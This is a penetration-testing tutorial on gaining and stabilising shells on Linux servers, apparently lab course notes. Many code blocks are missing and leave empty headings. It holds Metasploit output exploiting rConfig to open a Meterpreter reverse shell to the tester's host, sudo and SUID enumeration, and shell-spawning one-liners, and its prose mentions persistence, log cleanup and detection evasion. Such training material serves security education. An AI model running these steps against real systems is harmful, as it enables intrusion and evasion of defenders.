According to W3Techs' ongoing OS usage statistics study, over 70% of websites (webservers) run on Unix-based systems. This presents significant opportunities for penetration testers to gain shell sessions on these environments and potentially pivot further within network infrastructures.
Strategic Importance
Why Unix/Linux Shells Matter:
Web server dominance: Most web applications run on Linux
Infrastructure backbone: Critical systems often run on Unix/Linux
Pivot opportunities: Web servers can provide access to internal networks
On-premises hosting: Many organizations still host internally
Cloud environments: Most cloud instances run Linux variants
Attack Surface Considerations:
Web applications and services
Network services (SSH, FTP, etc.)
Database services (MySQL, PostgreSQL)
Configuration management tools
Container orchestration platforms
Common Considerations
When planning to establish a shell session on a Unix/Linux system, consider these critical questions:
1. System Analysis Questions
Distribution Identification:
What distribution of Linux is the system running?
What version and kernel are in use?
What package manager is available?
Shell & Programming Environment:
What shells are available? (bash, sh, zsh, csh)
What programming languages exist? (Python, Perl, Ruby, PHP)
What interpreters are installed?
Are there any restricted shells in place?
Functional Purpose:
What function is the system serving for the network?
Is it a web server, database server, or application server?
What services are running?
What is the system's role in the infrastructure?
Application Stack:
What application is the system hosting?
What web server software? (Apache, Nginx, Lighttpd)
What application frameworks? (PHP, Python, Node.js)
What databases are connected?
Security Posture:
Are there any known vulnerabilities?
What security controls are in place?
Are there any misconfigurations?
What is the patch level?
2. Reconnaissance Strategy
Service Enumeration:
Web Application Assessment:
Gaining a Shell Through Attacking a Vulnerable Application
Step 1: Host Enumeration
Comprehensive Nmap Scan:
Sample Output Analysis:
Information Gathered:
Operating System: CentOS Linux
Web Stack: Apache 2.4.6, PHP 7.2.34, OpenSSL 1.0.2k
Version Detection: Confirms vulnerable rConfig 3.9.6
Authentication: Successfully logs into rConfig
Payload Upload: Uploads PHP-based reverse shell
Payload Trigger: Executes uploaded payload
Stage Transfer: Sends Meterpreter stage
Cleanup: Removes uploaded payload file
Session Establishment: Provides Meterpreter shell
Step 3: Initial Shell Interaction
Meterpreter Session:
Drop to System Shell:
Shell Improvement Techniques
Understanding Non-TTY Shells
Characteristics of Non-TTY Shells:
Limited functionality: Missing interactive features
No prompt: Commands execute without visual feedback
Restricted commands: su, sudo, nano may not work
No tab completion: Manual command entry required
No command history: Previous commands not accessible
Signal handling issues: Ctrl+C may terminate session
Why Non-TTY Shells Occur:
Service account execution: Payload runs as web server user (apache)
Environment limitations: No shell environment configured
Security restrictions: Limited shell access by design
Spawning TTY Shells
Method 1: Python PTY
Check for Python:
Spawn TTY with Python:
Enhanced Python TTY:
Result:
Method 2: Alternative TTY Methods
Using Script Command:
Using Expect:
Using Socat (if available):
Method 3: Full Interactive TTY
Step 1: Initial PTY spawn
Step 2: Background the session
Step 3: Configure local terminal
Step 4: Reset terminal
Linux Shell Environments
Common Linux Shells
Shell
Binary
Description
Features
Bash
/bin/bash
Bourne Again Shell
Command completion, history, scripting
Sh
/bin/sh
Bourne Shell
Basic POSIX compliance, minimal features
Zsh
/bin/zsh
Z Shell
Advanced features, customization
Csh
/bin/csh
C Shell
C-like syntax, job control
Tcsh
/bin/tcsh
TENEX C Shell
Enhanced C shell
Fish
/bin/fish
Friendly Interactive Shell
User-friendly, auto-suggestions
Shell Detection and Switching
Current Shell Detection:
Available Shells:
Switch Shells:
Programming Languages on Linux
Python Environment
Version Detection:
Module Availability:
Common Python Exploits:
Perl Environment
Availability Check:
Perl Exploits:
Ruby Environment
Availability Check:
Ruby Exploits:
Linux Distribution Specifics
Package Managers by Distribution
Distribution
Package Manager
Commands
Ubuntu/Debian
apt
apt update, apt install
CentOS/RHEL
yum/dnf
yum install, dnf install
Fedora
dnf
dnf install, dnf update
SUSE
zypper
zypper install, zypper update
Arch Linux
pacman
pacman -S, pacman -Syu
Alpine
apk
apk add, apk update
Distribution Detection
OS Release Information:
Kernel Information:
System Information:
Advanced Linux Exploitation Techniques
Container Environment Detection
Docker Detection:
Container Escape Techniques:
Privilege Escalation Enumeration
User Context:
SUID/SGID Binaries:
Writable Directories:
Process Analysis:
Network Connections:
Persistence Mechanisms
Cron Jobs:
Service Files:
Startup Scripts:
Common Linux Vulnerabilities
Kernel Exploits
Kernel Version Check:
Common Kernel Exploits:
DirtyCow: CVE-2016-5195
Overlayfs: CVE-2021-3493
PwnKit: CVE-2021-4034
Baron Samedit: CVE-2021-3156
Application-Specific Vulnerabilities
Web Applications:
PHP vulnerabilities and misconfigurations
CGI script vulnerabilities
File upload vulnerabilities
SQL injection leading to file write
Network Services:
SSH misconfigurations
FTP anonymous access
NFS exports with no_root_squash
SMB/CIFS shares
Detection Evasion on Linux
Log Management
Common Log Locations:
Log Cleanup:
Process Hiding
Background Processes:
Memory-only Execution:
Best Practices for Linux Exploitation
Reconnaissance
Thorough enumeration of services and versions
Web application assessment for vulnerabilities
Configuration analysis for misconfigurations
User enumeration for potential targets
Exploitation
Research target-specific vulnerabilities thoroughly
Test exploits in controlled environments first
Understand exploit mechanisms before deployment
Plan payload delivery based on target constraints
Post-Exploitation
Stabilize shell access immediately
Gather system intelligence for privilege escalation
Establish persistence if authorized
Document findings for reporting
Operational Security
Minimize log generation during testing
Clean up artifacts after assessment
Use encrypted communications when possible
Understand detection mechanisms in environment
Advanced Shell Spawning Techniques
When Python is not available on the target system, several alternative methods can be used to spawn interactive shells. Understanding these techniques is crucial for situations where primary methods fail.
Wide compatibility: Available on most Unix/Linux systems
Job control limitation: No background process management
Alternative Shell Binaries
Bash Interactive:
Dash Interactive:
Zsh Interactive:
Programming Language Spawning
Perl Shell Spawning
Direct Execution:
Script-based Execution:
Alternative Perl Methods:
Ruby Shell Spawning
Direct Execution:
Script-based Execution:
Alternative Ruby Methods:
Lua Shell Spawning
OS Execute Method:
Script-based Execution:
Alternative Lua Methods:
System Utility Spawning
AWK Shell Spawning
BEGIN Block Method:
Pattern-based Method:
One-liner with File:
Features:
C-like language: Pattern scanning and processing
Widely available: Present on most Unix/Linux systems
System function: Direct system command execution
Report generation: Original purpose for text processing
Find Command Spawning
Method 1: Find with AWK
Method 2: Direct Execution
Method 3: Interactive Find
Find Command Breakdown:
Search function: Looks for specified file
Execute option (-exec): Runs command when file found
Quit option (-quit): Stops after first match
Flexible execution: Can execute any binary
VIM Editor Spawning
Method 1: Command Line Option
Method 2: Interactive VIM
Method 3: VIM Bang Command
VIM Features:
Command mode: Execute shell commands
Shell setting: Configure default shell
Bang commands: Direct command execution
Editor escape: Break out of text editing context
Advanced Alternative Methods
Using Less/More Pagers
Less Command:
More Command:
Using Man Pages
Man Command:
Using ED Editor
ED Line Editor:
Using Expect
Expect Spawn:
Binary and Language Detection
Check Available Interpreters
Programming Languages:
Shell Interpreters:
System Utilities:
Capability Assessment
Test Command Execution:
Permission and Privilege Considerations
File Permission Analysis
Check Binary Permissions:
Example Output:
Permission Breakdown:
rwx: Owner (read, write, execute)
r-x: Group (read, execute)
r-x: Others (read, execute)
Sudo Permission Enumeration
Check Sudo Capabilities:
Sample Output:
Sudo Analysis:
NOPASSWD: ALL: Can run any command without password
env_reset: Environment variables reset on sudo
secure_path: Restricted PATH for sudo commands
Requirements for Sudo Check:
Stable interactive shell: TTY required for input
Working terminal: Proper shell environment
User context: Current user permissions
Privilege Escalation Indicators
High-Privilege Indicators:
Shell Stability and Improvement
Stabilization Sequence
Step 1: Initial Shell Spawn
Step 2: Environment Configuration
Step 3: History and Aliases
Shell Feature Testing
Test Interactive Features:
Troubleshooting Shell Issues
Common Problems and Solutions
Problem 1: No Prompt Display
Problem 2: Commands Not Found
Problem 3: Terminal Size Issues
Problem 4: No Tab Completion
Shell Escape Techniques
From Restricted Shells:
Best Practices for Shell Spawning
Selection Strategy
Assess available resources on target system
Start with most reliable methods (Python, /bin/sh)
Fall back to system utilities if needed
Consider permission requirements for each method
Test shell stability after spawning
Operational Considerations
Minimize noise during shell spawning
Avoid triggering security alerts with unusual commands
Document successful methods for future reference
Plan for shell loss and recovery methods
Understand environment limitations before proceeding
Security Awareness
Monitor process creation that might be logged
Understand command auditing on target system
Consider shell history and logging implications
Plan cleanup procedures for spawned processes
Use appropriate shells for stealth requirements
Conclusion
Linux/Unix systems dominate the server landscape, making shell access skills essential for penetration testers. Success requires:
Comprehensive enumeration to identify attack vectors
Application-specific research for targeted exploits
Shell improvement techniques for effective post-exploitation
Multiple spawning methods when primary techniques fail
Distribution awareness for platform-specific techniques
Programming language utilization for payload delivery
Detection evasion strategies for stealthy operations
The key to successful Linux exploitation lies in understanding the target environment, leveraging appropriate tools and techniques, and maintaining situational awareness throughout the engagement. Having multiple shell spawning techniques in your arsenal ensures success even when primary methods are unavailable. Regular practice with different distributions and scenarios will improve proficiency and success rates.
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34)
443/tcp open ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34)
3306/tcp open mysql MySQL (unauthorized)
111/tcp open rpcbind 2-4 (RPC #100000)
msf6 > search rconfig
# Name Disclosure Date Rank Description
0 exploit/multi/http/solr_velocity_rce 2019-10-29 excellent Apache Solr RCE via Velocity Template
1 auxiliary/gather/nuuo_cms_file_download 2018-10-11 normal Nuuo CMS Authenticated File Download
2 exploit/linux/http/rconfig_ajaxarchivefiles_rce 2020-03-11 good Rconfig 3.x Chained RCE
3 exploit/unix/webapp/rconfig_install_cmd_exec 2019-10-28 excellent rConfig install Command Execution
[*] Started reverse TCP handler on 10.10.14.111:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] 3.9.6 of rConfig found !
[+] The target appears to be vulnerable. Vulnerable version of rConfig found !
[+] We successfully logged in !
[*] Uploading file 'olxapybdo.php' containing the payload...
[*] Triggering the payload ...
[*] Sending stage (39282 bytes) to 10.129.201.101
[+] Deleted olxapybdo.php
[*] Meterpreter session 1 opened (10.10.14.111:4444 -> 10.129.201.101:38860)
meterpreter > dir
Listing: /home/rconfig/www/images/vendor
========================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 673 fil 2020-09-03 05:49:58 -0400 ajax-loader.gif
100644/rw-r--r-- 1027 fil 2020-09-03 05:49:58 -0400 cisco.jpg
100644/rw-r--r-- 1017 fil 2020-09-03 05:49:58 -0400 juniper.jpg
meterpreter > shell
Process 3958 created.
Channel 0 created.
# Test basic commands
dir
ajax-loader.gif cisco.jpg juniper.jpg
ls
ajax-loader.gif
cisco.jpg
juniper.jpg
Matching Defaults entries for apache on ILF-WebSrv:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User apache may run the following commands on ILF-WebSrv:
(ALL : ALL) NOPASSWD: ALL
# Check for wheel group membership
groups
id
# Check for admin/sudo groups
cat /etc/group | grep -E "(sudo|admin|wheel)"
# Check for interesting SUID binaries
find / -perm -4000 -type f 2>/dev/null | grep -E "(vim|find|awk|perl|python)"
# Use any available method from above
python3 -c 'import pty; pty.spawn("/bin/bash")'
# OR
/bin/sh -i
# OR
awk 'BEGIN {system("/bin/sh")}'